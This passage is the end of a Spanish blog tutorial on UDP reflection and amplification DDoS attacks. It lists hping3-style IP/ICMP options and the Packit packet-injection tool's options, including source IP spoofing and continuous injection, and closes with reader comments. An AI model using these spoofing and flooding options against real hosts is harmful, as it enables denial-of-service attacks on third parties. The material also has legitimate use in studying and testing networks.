- -y –dontfrag no fragmenta paquetes.
- -g –fragoff establece el offset del fragmento
- -m –mtu establece un MTU virtual, implica que el fragmento del paquete sea mayor que el MTU.
- -o –tos tipo de servicio (por defecto 0x00), intenta hacer –tos help
- -G –rroute incluye la opción RECORD_ROUTE y muestra el buffer de la ruta
- –lsrr enrutamiento de origen suelto y registro de ruta
- –ssrr enrutamiento de origen estricto y registro de ruta
- -H –ipproto establece el protocolo IP, solamente para modo RAW IP.
ICMP:
- -C –icmptype tipo de ICMP (por defecto es ICMP Echo request)
- -K –icmpcode código ICMP (por defecto es 0)
- –force-icmp envía todos los tipos de ICMP (por defecto solo envía los tipos soportados)
- –icmp-gw establece dirección de puerta de enlace predeterminada para ICMP redirect (por defecto 0.0.0.0)
- –icmp-ts alias para –icmp –icmptype 13 (ICMP timestamp)
- –icmp-addr alias para –icmp –icmptype 17 (ICMP dirección de máscara de subred)
- –icmp-help muestra la ayuda para otras opciones icmp.
Packit
Packit (apt-get install packit) es una herramienta para la captura e inyección de paquetes que permite personalización paquetes: TCP, UDP, ICMP, IP, ARP, RARP, Ethernet header
packit [-t protocolo] opciones
Opciones básicas de inyección de paquetes
- -t protocolo TCP (defecto), UDP, ICMP, ARP
- -c número Número de paquetes a inyectar (0: continuo)
- -w número Intervalo (en seg.) entre cada conjunto de paquetes (def. 1)
- -b número Número paquetes a inyectar en cada intervalo (0: máximo)
- -s dirección IP origen (spoofing)
- -sR Establece dirección IP origen aleatoria
- -d dirección IP destino
- -dR dirección Establece una dirección destino aleatoria
- -S puerto Indica puerto origen en TCP y/o UDP
- -D puerto Indica puerto destino en TCP y/o UDP
- -F flags Flags TCP : S(SYN), F(FIN), A(ACK), P(PSH), U(URG), R(RST)
- -h Host Response: salida por pantalla 20
Enviar por correo electrónico
Escribe un blog
Compartir con Twitter
Compartir con Facebook
Compartir en Pinterest
Etiquetas:
amplification
,
chargen
,
ddos
,
denial of service
,
distributed
,
dos
,
DrDDoS
,
flood
,
ip
,
ntp
,
reflection
,
ssdp
,
tcp
,
tutorial
,
udp
,
upnp
3 comentarios :
Muy buen artículo, felicidades. De hecho lo había visto en: http://hardc0dexploit.blogspot.com.es/2014/07/ataques-udp-reflection-flood-drdos.html
buen articulo. felicidades.
Publicar un comentario
Los comentarios pueden ser revisados en cualquier momento por los moderadores.
Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.
Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.